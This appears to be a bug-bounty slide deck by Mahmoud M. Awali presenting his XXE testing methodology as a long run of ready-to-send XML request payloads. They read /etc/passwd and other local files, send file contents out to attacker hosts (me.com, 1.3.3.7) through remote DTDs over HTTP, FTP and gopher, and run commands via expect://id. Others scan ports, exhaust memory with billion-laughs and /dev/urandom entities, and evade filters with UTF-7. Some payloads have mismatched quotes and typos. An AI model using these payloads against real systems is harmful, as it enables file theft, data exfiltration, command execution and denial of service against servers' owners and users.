XML BODY

```
POST /xml-body HTTP/1.1
Host: www.company.com
Content-Type: application/xml
Content-Length: Number

<root>
    <email>me@gmail.com></email>
    <password>*********</password>
</root>
```

Mahmoud M. Awali

@0xAwali

attacker

Workflow Of Hacking XML BODY

Convert Content Type Header

Content-Type: application/json

Content-Type: application/xml

Content-Type: */*

attacker

My Methodology

Try To Read Local Files e.g. <!DOCTYPE name [<!ENTITY read SYSTEM "file:///etc/passwd">]>

- Slides
- Slides
- Video

```
POST /xml-body HTTP/1.1
Host: www.company.com
Content-Type: application/xml
Content-Length: Number

<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY read SYSTEM "file:///etc/passwd">
]>
<root>
    <email>&read;</email>
    <password>*********</password>
</root>
```

attacker

My Methodology

Try To Read Local Files With standalone="no" e.g.
<?xml version="1.0" encoding="UTF-8" standalone="no"?>

-  Slides

```
POST /xml-body HTTP/1.1
Host: www.company.com
Content-Type: application/xml
Content-Length: Number

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE root [
<!ENTITY read SYSTEM "file:///etc/passwd">
]>
<root>
    <email>&read;</email>
    <password>*********</password>
</root>
```

attacker

My Methodology

Try To Use PUBLIC Instead Of SYSTEM To Read Local Files e.g. <!DOCTYPE name [<!ENTITY read PUBLIC "file:///etc/passwd">]>

-  Slides

```
POST /xml-body HTTP/1.1
Host: www.company.com
Content-Type: application/xml
Content-Length: Number

<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY read PUBLIC "file:///etc/passwd">
]>
<root>
    <email>&read;</email>
    <password>*********</password>
</root>
```

attacker

My Methodology

Try To Read Local Files e.g. <!DOCTYPE name [<!ELEMENT root ANY > <!ENTITY read SYSTEM "file:///etc/passwd">]>

- Writeup
- Writeup

```
POST /xml-body HTTP/1.1
Host: www.company.com
Content-Type: application/xml
Content-Length: Number

<?xml version="1.0"?>
<!DOCTYPE root [
<!ELEMENT root ANY >
<!ENTITY % read SYSTEM "file:///etc/passwd">
]>
<root>
    <email>&read;</email>
    <password>********</password>
</root>
```

attacker

My Methodology

If You Will Read Files Contains Special Characters e.g. etc/fstab So You Will Need Using <![CDATA[ ]]> To Bypass This

-  Slides

```
POST /xml-body HTTP/1.1
Host: www.company.com
Content-Type: application/xml
Content-Length: Number

<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY start "<![CDATA[">
<!ENTITY file SYSTEM "file:///etc/fstab">
<!ENTITY end "]]>">
<!ENTITY read "&start;&file;&end;">]>
<root>
     <email>&read;</email>
     <password>********</password>
</root>
```

attacker

My Methodology

Try To Read Large Files e.g. <!DOCTYPE name [<!ENTITY read SYSTEM "file:///dev/urandom">]> To Do DOS

- Slides
- Slides
- Writeup

```
POST /xml-body HTTP/1.1
Host: www.company.com
Content-Type: application/xml
Content-Length: Number

<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY read SYSTEM "file:///dev/urandom">
]>
<root>
    <email>&read;</email>
    <password>*********</password>
</root>
```

attacker

My Methodology

Try To Read Local Files e.g. <!DOCTYPE read SYSTEM "file:///etc/passwd">

- Slides

```
POST /xml-body HTTP/1.1
Host: www.company.com
Content-Type: application/xml
Content-Length: Number

<?xml version="1.0"?>
<!DOCTYPE read SYSTEM "file:///etc/passwd">
<root>
    <email>&read;</email>
    <password>*********</password>
</root>
```

attacker

My Methodology

Try To Get DNS OR HTTP Reverse Interaction By Using e.g. <!DOCTYPE name [<!ENTITY SYSTEM "http://id.burpcollaborator.net">]>

-  Slides

```
POST /xml-body HTTP/1.1
Host: www.company.com
Content-Type: application/xml
Content-Length: Number

<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY read SYSTEM "http://id.burpcollaborator.net/">
]>
<root>
    <email>&read;</email>
    <password>*********</password>
</root>
```

attacker

My Methodology

Try To Get DNS OR HTTP Reverse Interaction With standalone="no" e.g. <?xml version="1.0" encoding="UTF-8" standalone="no"?>

-  Slides

```
POST /xml-body HTTP/1.1
Host: www.company.com
Content-Type: application/xml
Content-Length: Number

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE root [
<!ENTITY read SYSTEM "http://id.burpcollaborator.net/">
]>
<root>
    <email>&read;</email>
    <password>*********</password>
</root>
```

attacker

My Methodology

Try To Use PUBLIC Instead Of SYSTEM To Get DNS OR HTTP Reverse Interaction By Using e.g. <!DOCTYPE name [<!ENTITY PUBLIC "http://id.burpcollaborator.net">]>

-  Slides

```
POST /xml-body HTTP/1.1
Host: www.company.com
Content-Type: application/xml
Content-Length: Number

<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY read PUBLIC "http://id.burpcollaborator.net/">
]>
<root>
    <email>&read;</email>
    <password>*********</password>
</root>
```

attacker

My Methodology

Try To Get DNS OR HTTP Reverse Interaction By Using e.g. <!DOCTYPE name SYSTEM "http://id.burpcollaborator.net">

- Slides

```
POST /xml-body HTTP/1.1
Host: www.company.com
Content-Type: application/xml
Content-Length: Number

<?xml version="1.0"?>
<!DOCTYPE root SYSTEM "http://id.burpcollaborator.net/">
<root>
    <email>me@gmail.com</email>
    <password>*********</password>
</root>
```

attacker

My Methodology

Try To Get DNS OR HTTP Reverse Interaction With standalone="no" e.g. <?xml version="1.0" encoding="UTF-8" standalone="no"?>

-  Slides

```
POST /xml-body HTTP/1.1
Host: www.company.com
Content-Type: application/xml
Content-Length: Number

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE root SYSTEM "http://id.burpcollaborator.net/">
<root>
    <email>me@gmail.com</email>
    <password>*********</password>
</root>
```

attacker

My Methodology

Try To Use PUBLIC Instead Of SYSTEM To Get DNS OR HTTP Reverse Interaction By Using e.g. <!DOCTYPE name PUBLIC "http://id.burpcollaborator.net">

-  Slides

```
POST /xml-body HTTP/1.1
Host: www.company.com
Content-Type: application/xml
Content-Length: Number

<?xml version="1.0"?>
<!DOCTYPE root PUBLIC "http://id.burpcollaborator.net/">
<root>
    <email>me@gmail.com</email>
    <password>*********</password>
</root>
```

attacker

My Methodology

Try To Get Read Files From FTP Server By Using e.g.
<!DOCTYPE name [<!ENTITY SYSTEM "ftp://comapny.com/secrets.txt">]>

-  Slides

```
POST /xml-body HTTP/1.1
Host: www.company.com
Content-Type: application/xml
Content-Length: Number

<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY read SYSTEM "ftp://company.com/secrets.txt">
]>
<root>
    <email>&read;</email>
    <password>*********</password>
</root>
```

attacker

My Methodology

Try To Get Read Files From FTP Server With standalone="no" e.g. <?xml version="1.0" encoding="UTF-8" standalone="no"?>

-  Slides

```
POST /xml-body HTTP/1.1
Host: www.company.com
Content-Type: application/xml
Content-Length: Number

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE root [
<!ENTITY read SYSTEM "ftp://company.com/secrets.txt">
]>
<root>
    <email>&read;</email>
    <password>*********</password>
</root>
```

attacker

My Methodology

Try To Use PUBLIC Instead Of SYSTEM To Read Files From FTP Server By Using e.g. <!DOCTYPE name [<!ENTITY PUBLIC "ftp://comapny.com/secrets.txt">]>

-  Slides

```
POST /xml-body HTTP/1.1
Host: www.company.com
Content-Type: application/xml
Content-Length: Number

<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY read PUBLIC "ftp://company.com/secrets.txt">
]>
<root>
    <email>&read;</email>
    <password>*********</password>
</root>
```

attacker

Reading From Remote XML File

-  Slides

```
root@mine:~# cat file.xml
<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % responseBack "<!ENTITY pwnfromME SYSTEM 'http%data;://1.3.3.7/;'>">
```

```
POST /xml-body HTTP/1.1
Host: www.company.com
Content-Type: application/xml
Content-Length: Number

<?xml version="1.0"?>
<!DOCTYPE root [
<!ELEMENT root ANY >
<!ENTITY % read SYSTEM "http://me.com/file.xml">
%read;
%responseBack;
]>
<root>
    <email>&pwnfromME;</email>
    <password>*********</password>
</root>
```

attacker

Reading From Remote XML File With standalone="no"

-  Slides

```
root@mine:~# cat file.xml
<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % responseBack "<!ENTITY pwnfromME SYSTEM 'http%data;://1.3.3.7/;'>">
```

```
POST /xml-body HTTP/1.1
Host: www.company.com
Content-Type: application/xml
Content-Length: Number

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE root [
<!ELEMENT root ANY >
<!ENTITY % read SYSTEM "http://me.com/file.xml">
%read;
%responseBack;
]>
<root>
    <email>&pwnfromME;</email>
    <password>*********</password>
</root>
```

attacker

Reading From Remote XML File With PUBLIC Instead Of SYSTEM

-  Slides

```
root@mine:~# cat file.xml
<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % responseBack "<!ENTITY pwnfromME SYSTEM 'http%data;://1.3.3.7/;'>">
```

```
POST /xml-body HTTP/1.1
Host: www.company.com
Content-Type: application/xml
Content-Length: Number

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE root [
<!ELEMENT root ANY >
<!ENTITY % read PUBLIC "http://me.com/file.xml">
%read;
%responseBack;
]>
<root>
    <email>&pwnfromME;</email>
    <password>*********</password>
</root>
```

attacker

Reading From Remote DTD File

```
root@mine:~# cat file.dtd
<!ENTITY % read SYSTEM 'file:///etc/hosts">
<!ENTITY % all "<!ENTITY pwnfromME SYSTEM 'file:///test/_%read;'>">
```

```
POST /xml-body HTTP/1.1
Host: www.company.com
Content-Type: application/xml
Content-Length: Number

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % send SYSTEM "https://me.com/file.dtd">
%send;
%all;
]>
<root>
    <email>&pwnfromME;</email>
    <password>*********</password>
</root>
```

- Video
- Writeup
- Writeup

attacker

Reading From Remote DTD File II

- Video
- Writeup
- Writeup

```
root@mine:~# cat file.dtd
<!ENTITY % all "<!ENTITY pwnfromME SYSTEM 'http://me.com/?file=&read;'>">
%all;
```

```
POST /xml-body HTTP/1.1
Host: www.company.com
Content-Type: application/xml
Content-Length: Number

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % read SYSTEM "file:///etc/passwd">
<!ENTITY % send SYSTEM "http://me.com/file.dtd">
%send;
]>
<root>
    <email>&pwnfromME;</email>
    <password>*********</password>
</root>
```

attacker

Reading From Remote DTD File III

```
root@mine:~#cat file.dtd
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % send "<!ENTITY pwnfromMe SYSTEM 'http://me.com/?%file;'>">
%send;
```

```
POST /xml-body HTTP/1.1
Host: www.company.com
Content-Type: application/xml
Content-Length: Number

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root SYSTEM "http://me.com/file.dtd">
<root>
    <email>&pwnfromME;</email>
    <password>*********</password>
</root>
```

-  Slides
-  Blog
-  Writeup

attacker

Reading From Remote DTD File IIII

-  Slides

```
root@mine:~#cat file.dtd
<!ENTITY start "<![CDATA[">
<!ENTITY file SYSTEM "file:///etc/fstab">
<!ENTITY end "]]>">
<!ENTITY pwnfromME "&start;&file;&end;">]>
```

```
POST /xml-body HTTP/1.1
Host: www.company.com
Content-Type: application/xml
Content-Length: Number

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root SYSTEM "http://me.com/file.dtd">
<root>
    <email>&pwnfromME;</email>
    <password>*********</password>
</root>
```

attacker

Reading From Remote DTD File Contains FTP Server

-  Slides

```
root@mine:~# cat ftp.dtd
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY pwnfromME SYSTEM 'ftp://test:%read;@me.com:PORT/'>"> %all;
root@mine:~# python -m http.server 9001
root@mine:~# ruby ftp_server.rb
```

```
POST /xml-body HTTP/1.1
Host: www.company.com
Content-Type: application/xml
Content-Length: Number

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % read SYSTEM "file:///">
<!ENTITY % send SYSTEM "https://me.com:9001/ftp.dtd">
%send;
]>
<root>
    <email>&pwnfromME;</email>
    <password>*********</password>
</root>
```

attacker

Reading From Remote DTD File Contains FTP Server II

- Video
- Blog
- Writeup

```
root@mine:~# cat ftp.dtd
<!ENTITY % read SYSTEM 'file:///etc/hosts">
<!ENTITY % all "<!ENTITY pwnfromME SYSTEM 'ftp://me.com:PORT:/_%read;'>">
root@mine:~# ruby ftp_server.rb
```

```
POST /xml-body HTTP/1.1
Host: www.company.com
Content-Type: application/xml
Content-Length: Number

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % send SYSTEM "https://me.com/ftp.dtd">
%send;
%all;
]>
<root>
    <email>&pwnfromME;</email>
    <password>*********</password>
</root>
```

attacker

Reading From Remote DTD File Contains Gopher Protocol

- Writeup

```
root@mine:~# cat gopher.dtd
<!ENTITY % all "<!ENTITY pwnfromME SYSTEM 'gopher://me.com:80/%read;'>">
%all;
root@mine:~# tcpdump -A src host www.compant.com and port 80 and greater 1000
```

```
POST /xml-body HTTP/1.1
Host: www.company.com
Content-Type: application/xml
Content-Length: Number

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % read SYSTEM 'file:///etc/hosts">
<!ENTITY % send SYSTEM "https://me.com/gopher.dtd">
%send;
]>
<root>
    <email>&pwnfromME</email>
    <password>*********</password>
</root>
```

attacker

Try To Use Local DTD Files To Read Local Files e.g. etc/passwd

-  Slides
-  Blog

```
POST /xml-body HTTP/1.1
Host: www.company.com
Content-Type: application/xml
Content-Length: Number

<?xml version="1.0" ?>
<!DOCTYPE root [
   <!ENTITY % local_dtd SYSTEM "file:///FUZZ-Here-To-GET-Path/Local-File.dtd">
   <!ENTITY % condition 'aaa)>
      <!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
      <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
      &#x25;eval;
      &#x25;error;
      <!ELEMENT aa (bb'>
   %local_dtd;
]>
<root>
     <email>me@gmail.com</email>
     <password>*********</password>
</root>
```

attacker

Use Open Redirection To Read From Remote DTD File

-  Blog

```
root@mine:~# cat file.dtd
<!ENTITY % read SYSTEM 'file:///etc/hosts">
<!ENTITY % all "<!ENTITY pwnfromME SYSTEM 'file:///test/_%read;'>">
```

```
POST /xml-body HTTP/1.1
Host: www.company.com
Content-Type: application/xml
Content-Length: Number

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % send SYSTEM "https://company.com/open?url=http://me.com/file.dtd">
%send;
%all;
]>
<root>
    <email>&pwnfromME;</email>
    <password>*********</password>
</root>
```

attacker

My Methodology

Try To Use Some Wrappers e.g. php:// , data:// , phar:// OR rar:// By Using e.g. <!DOCTYPE name [<!ENTITY SYSTEM "php://filter/convert.base64- encode/resource=/etc/passwd">]>

-  Slides
-  Slides
-  Blog

```
POST /xml-body HTTP/1.1
Host: www.company.com
Content-Type: application/xml
Content-Length: Number

<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY read SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
]>
<root>
    <email>&read;</email>
    <password>*********</password>
</root>
```

attacker

My Methodology

Try To Use Some Wrappers e.g. php:// , data:// , phar:// OR rar:// With standalone="no" e.g. <?xml version="1.0" encoding="UTF-8" standalone="no"?>

-  Slides

```
POST /xml-body HTTP/1.1
Host: www.company.com
Content-Type: application/xml
Content-Length: Number

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE root [
<!ENTITY read SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
]>
<root>
    <email>&read;</email>
    <password>*********</password>
</root>
```

attacker

My Methodology

Try To Use PUBLIC Instead Of SYSTEM With Some Wrappers e.g. php:// , data:// , phar:// OR rar:// By Using e.g. <!DOCTYPE name [<!ENTITY PUBLIC "php://filter/convert.base64-encode/resource=/etc/passwd">]>

-  Slides

```
POST /xml-body HTTP/1.1
Host: www.company.com
Content-Type: application/xml
Content-Length: Number

<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY read PUBLIC "php://filter/convert.base64-encode/resource=/etc/passwd">
]>
<root>
    <email>&read;</email>
    <password>*********</password>
</root>
```

attacker

My Methodology

Try To Use expect Wrapper e.g.

<!DOCTYPE name [<!ENTITY SYSTEM "expect://CMD">]>

- Slides
- Video

```
POST /xml-body HTTP/1.1
Host: www.company.com
Content-Type: application/xml
Content-Length: Number

<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY read SYSTEM "expect://id">
]>
<root>
    <email>&read;</email>
    <password>*********</password>
</root>
```

attacker

My Methodology

Try To Use expect Wrapper With standalone="no" e.g. <?xml version="1.0" encoding="UTF-8" standalone="no"?>

-  Slides

```
POST /xml-body HTTP/1.1
Host: www.company.com
Content-Type: application/xml
Content-Length: Number

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE root [
<!ENTITY read SYSTEM "expect://id">
]>
<root>
    <email>&read;</email>
    <password>*********</password>
</root>
```

attacker

My Methodology

Try To Use PUBLIC Instead Of SYSTEM With expect Wrapper e.g.
<!DOCTYPE name [<!ENTITY PUBLIC "expect://CMD">]>

-  Slides

```
POST /xml-body HTTP/1.1
Host: www.company.com
Content-Type: application/xml
Content-Length: Number

<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY read PUBLIC "expect://id">
]>
<root>
    <email>&read;</email>
    <password>*********</password>
</root>
```

attacker

My Methodology

Try To Do PORT Scanning By Using e.g.
<!DOCTYPE name [<!ENTITY SYSTEM "http://comapny.com:PORT">]>

-  Slides

```
POST /xml-body HTTP/1.1
Host: www.company.com
Content-Type: application/xml
Content-Length: Number

<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY read SYSTEM "http://company.com/PORT">
]>
<root>
    <email>&read;</email>
    <password>*********</password>
</root>
```

attacker

My Methodology

Try To Do PORT Scanning With standalone="no" e.g.
<?xml version="1.0" encoding="UTF-8" standalone="no"?>

-  Slides

```
POST /xml-body HTTP/1.1
Host: www.company.com
Content-Type: application/xml
Content-Length: Number

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE root [
<!ENTITY read SYSTEM "http://company.com/PORT">
]>
<root>
    <email>&read;</email>
    <password>*********</password>
</root>
```

attacker

My Methodology

Try To Use PUBLIC Instead Of SYSTEM To Do PORT Scanning By Using e.g. <!DOCTYPE name [<!ENTITY PUBLIC "http://comapny.com:PORT">]>

-  Slides

```
POST /xml-body HTTP/1.1
Host: www.company.com
Content-Type: application/xml
Content-Length: Number

<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY read PUBLIC "http://company.com/PORT">
]>
<root>
    <email>&read;</email>
    <password>*********</password>
</root>
```

attacker

My Methodology

Try To Do DOS aka Billion Laughs Attack

- Slides
- Slides
- Video

```
POST /xml-body HTTP/1.1
Host: www.company.com
Content-Type: application/xml
Content-Length: Number

<?xml version="1.0"?>
<!DOCTYPE root [
 <!ENTITY lol "lol">
 <!ELEMENT root (#PCDATA)>
 <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
 <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
 <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
 <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
 <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
 <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
]>
<root>
    <email>&lol6;</email>
    <password>*********</password>
</root>
```

attacker

My Methodology

Try To Do DOS aka Billion Laughs Attack With standalone="no" e.g. <?xml version="1.0" encoding="UTF-8" standalone="no"?>

-  Slides

```
POST /xml-body HTTP/1.1
Host: www.company.com
Content-Type: application/xml
Content-Length: Number

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE root [
 <!ENTITY lol "lol">
 <!ELEMENT root (#PCDATA)>
 <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
 <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
 <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
 <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
 <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
 <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
]>
<root>
    <email>&lol6;</email>
    <password>*********</password>
</root>
```

attacker

My Methodology

Try To Use Encoding UTF-7 , UTF-16 OR UTF-16BE Instead Of Encoding UTF-8 e.g. <?xml version="1.0" encoding="UTF-7" standalone="no"?>

-  Slides
-  Tweet

Steps to produce :-
1 - Open Your Terminal
2 - Write This Command

```
payload='<!DOCTYPE root [
<!ENTITY read SYSTEM "file:///etc/passwd">
]>'
echo $payload | iconv -f UTF-8 -t UTF-7 | tee -a UTF-7-Payload
```

3 - Use Content Of UTF-7-payload In Your Request

```
<?xml version="1.0" encoding="UTF-7" standalone="no"?>
Content Of UTF-7-payload
```

Thank You

Mahmoud M. Awali

@0xAwali